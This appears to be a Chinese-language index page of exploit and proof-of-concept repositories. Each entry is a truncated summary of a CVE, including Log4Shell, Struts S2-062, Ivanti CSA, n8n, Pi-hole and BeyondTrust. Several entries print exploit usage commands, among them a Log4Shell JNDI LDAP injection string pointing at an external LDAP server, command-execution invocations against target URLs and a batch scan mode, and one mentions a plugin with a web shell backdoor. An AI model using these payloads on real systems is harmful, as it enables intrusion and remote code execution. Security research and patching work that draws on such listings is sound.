CVE-2025-55616

CVE-2025-55616 作者：Rana M.Sinan Adil 在 Zsh 中发现可通过历史表达式实现 RCE 的漏洞 关键要点 运行此漏洞利用程序：只需更改 exploit 中的 IP 地址和 "p system" ，因为我也在我的第二台笔记本电脑上测试过，要在 gdb 中更改它（尤其是在 pwndbg 中），请运行以下命令： root@kitploit: $ gdb zsh -f 在终端中 pwndbg run -f username% ! username 将是你的用户名，只需输入 ! username% !!11111111111 这里也一样，只需输入...

poc-yaws-cgi-shell-injection

Yaws Web 服务器中的操作系统命令注入（CVE-2020-24916） 概念验证 构建测试镜像： docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . 和/或 运行容器 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi root@kitploit: curl...

CVE-2026-35517

CVE-2026-35517 - Pi-hole FTLDNS 通过换行符注入实现远程代码执行 摘要 Pi-hole 的 FTLDNS 引擎（6.0 至 6.5 版本）中存在一个远程代码执行 漏洞，允许已认证的攻击者通过向 dns.upstreams API 参数中嵌入换行符 （\n）来注入任意的 dnsmasq 配置指令。由于 dnsmasq 支持可执行 shell 命令的指令，这种换行符注入可直接转化为在主机系统上执行任意命令 。 这不仅仅是一个单一漏洞，而是一类影响五个不同配置参数 的注入问题，全部已在 FTL v6.6 中一并修复。 目录 快速概览 什么是 Pi-hole...

CVE-2026-4747-

CVE-2026-4747: FreeBSD 远程内核 RCE 首个由 AI 发现并利用的远程内核漏洞 📋 快速摘要...

webcgi-exploits

Web CGI Exploits 这是我前几年写的和Web CGI相关的各种exp的集合。 原理 通常情况下，web的应用架构是这样分层的: 1. web应用程序 2. web框架 3. 脚本语言解释器 4. web容器服务器 5. web前端反向代理通常是nginx等等. 4 & 5 有可能是同一个东西，甚至有些时候3 & 4也可能是同一个东西。...

CVE-2026-33824

🚨 CVE-2026-33824：漏洞利用分析与修复方案 🎯 执行摘要 CVE-2026-33824 是 Windows IKE（Internet Key Exchange）协议中的一个严重漏洞（CVSS 9.8/10），允许在无需预先认证的情况下远程执行代码 。这正是每个精英攻击者梦寐以求的"内存手术"：一个以 SYSTEM 权限执行的 Double Free（CWE-415）漏洞。 🔴 第一部分：利用视角 1.1 攻击场景 一个老练的攻击者不会随意发送数据包。他会分三个阶段执行通过网络进行的内存编排 ： 阶段 1：堆喷射（Heap Grooming）（地形准备）...

CVE-2026-32746

🚨 CVE-2026-32746 GNU Inetutils Telnetd RCE 🔥 📌 执行摘要 严重漏洞 | CVSS 9.8 | 远程代码执行！ 影响范围： GNU Inetutils Telnetd（2.7 之前的版本） 类型： LINEMODE SLC 子选项处理器中的越界写入（OOB Write） 攻击向量： 网络（端口 23） | 无需身份验证 影响： 以 Telnetd 进程权限执行远程代码（RCE） 🎯 📖 技术描述 在 GNU Inetutils 的 telnetd 守护进程的 addslc 函数中发现了一个越界写入（OOB Write）缓冲区溢出...

CVE-2026-21858

CVE-2026-21858 + CVE-2025-68613 - n8n 完整攻击链 未认证任意文件读取 → 管理员令牌伪造 → 沙箱逃逸 → 远程代码执行 n8n 上的完整未认证 RCE 攻击链： 1. CVE-2026-21858 - Content-Type 混淆 → 任意文件读取 2. 读取配置 + 数据库 → 伪造管理员 JWT 3. CVE-2025-68613 - 表达式注入 → 沙箱逃逸 → 远程代码执行 检测 该漏洞暴露是基于版本 的。就暴露面而言，存在可公开访问的易受攻击的 n8n 实例。 LeakIX 结果： 查看暴露的实例 为什么使用此漏洞利用？...

CVE-2026-39987

CVE-2026-39987 — Marimo Python 笔记本未认证远程代码执行 TL;DR Marimo （一个用于数据科学和 AI/ML 的开源 Python 笔记本）中存在一个未认证远程代码执行 漏洞。终端 WebSocket 端点（/terminal/ws）完全跳过了身份验证检查 ，而相邻的笔记本端点（/ws）则正确执行了该检查。未认证的攻击者可以连接到 /terminal/ws，在零凭据的情况下获得主机系统上的完整交互式 PTY shell 。 该漏洞在披露后 10 小时内 即被在野利用。攻击者在不到 3 分钟内窃取了 AWS 凭据。 影响 Marimo =...

CVE-2026-33827

🔴 CVE-2026-33827: Ejecución Remota de Código RCE en TCP/IP de Windows 📌 概述 CVE-2026-33827 是一个影响 Windows TCP/IP 网络栈的严重远程代码执行（RCE）漏洞。它被归类为 竞态条件（Race Condition）缺陷，原因是网络处理过程中共享资源同步不当。 未经身份验证 的攻击者可以通过向启用了 IPSec 的 Windows 节点发送特制的 IPv6 数据包来利用此漏洞，从而在无需用户交互 的情况下以系统权限 执行任意代码。 ⚠️ 严重影响 ：无需凭据即可完全控制系统 📊...

log4shell

Log4Shell 本项目演示了log4shell安全漏洞的工作原理。 该漏洞在CVE-2021-44228中有详细描述。 本项目仅用于教学目的。 只能在您自己的系统上使用，且仅用于实验目的。 任何执行操作的风险均由您自行承担。 作者对因执行本项目而导致的任何事故概不负责。 命令示例 root@kitploit: ldapserver=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389 hello '$jndi:ldap://'"$ldapserver"'/run=log4shell.Exploit' hello...

S2-062

S2-062 CVE-2021-31805/s2-062 批量扫描及漏洞利用 请遵守法律法规，禁止未授权攻击网站系统 使用说明 批量扫描模式 root@kitploit: python3 CVE-2021-31805.py -m scan -f 123.txt 命令执行模式 root@kitploit: python3 CVE-2021-31805.py -u https://xxx.xxx.com:8080 -c id...

CVE-2021-44529

CVE-2021-44529 CVE-2021-44529 Ivanti EPM 云服务设备 CSA 中的代码注入漏洞允许未经身份验证的用户以有限的权限（nobody）执行任意代码。...

CVE-2026-1731

CVE-2026-1731 盲式 RCE PoC 受影响版本： Privileged Remote Access ：= 24.3.4 Remote Support ：= 25.3.1 如需更多信息，建议您阅读 attackerkb.com 上的分析。 如何构建 构建此 PoC 需要以下工具： Git、rust 1. 克隆我的仓库 root@kitploit: git clone https://github.com/jakubie07/CVE-2026-1731.git 2. 进入目录并构建 root@kitploit: cd CVE-2026-1731 cargo build...

CVE-2021-44529

CVE-2021-44529 厂商主页：https://www.ivanti.com/ 软件链接：https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 版本：CSA 4.6 4.5 - 2021年8月停止支持（EOF） 执行 root@kitploit: python3 exploit.py 示例 root@kitploit: python3 exploit.py 'https://x.x.x.x' 'ls' LDMGdeploy.pdf LDSupport.exe...

CVE-2026-1731

BeyondTrust CVE-2026-1731 扫描器 用于检测 BeyondTrust Remote Support / Privileged Remote Access 暴露情况的专业 Python 扫描器。 开发者：issam junior Telegram：https://t.me/arabhackerzgroup CVE-2026-1731 — BeyondTrust 远程代码执行漏洞 CVE-2026-1731 是一个影响 BeyondTrust Privileged Remote Access PRA 和 Remote Support RS 解决方案的严重远程代码执行...

CVE-2026-1457

CVE-2026-1457：TP-Link VIGI C385 认证远程代码执行漏洞 概述 CVE-2026-1457 是 TP-Link VIGI C385 V1 网络 API 中的一个认证缓冲区溢出漏洞。该漏洞允许已认证的攻击者执行远程代码执行（RCE）。 CVSS v4.0 评分：8.5（高危） CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 受影响产品 产品型号| 受影响版本 ---|--- VIGI C385 V1| 3.1.1 Build 251124 Rel.50371n 漏洞详情 漏洞位置...

wonderplugin

Wonderplugin para RCE ¡NO USES ESTE PLUGIN FALSO EN TU SERVIDOR WEB DE PRODUCCIÓN! Este repositorio está destinado a probar una vulnerabilidad en WonderCMS; este plugin falso contiene una puerta trasera web shell, que puedes encontrar en el archivo evil.php. Artículo relacionado WonderCMS 3.1.3 -...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache 远程代码执行 未认证任意文件上传 → 远程代码执行 字段| 值 ---|--- CVE| CVE-2026-3844 CVSS| 9.8（严重） 插件| Breeze Cache Cloudways 受影响版本| ≤ 2.4.4 修复版本| 2.4.5 发现者| Hung Nguyen bashu PoC 作者| halilkirazkaya 概述 Breeze Cache WordPress 插件（≤...

CVE-2026-33725

CVE-2026-33725 一个针对 CVE-2026-33725 的概念验证漏洞利用程序，该漏洞是 Metabase 中 EE 序列化导入时通过 H2 JDBC INIT 注入导致的远程代码执行和任意文件读取漏洞。 受影响版本 Metabase Enterprise ≥ v1.47 且 v1.54.22 Metabase Enterprise ≥ v1.54.0 且 v1.54.22 Metabase Enterprise ≥ v1.55.0 且 v1.55.22 Metabase Enterprise ≥ v1.56.0 且 v1.56.22 Metabase Enterprise...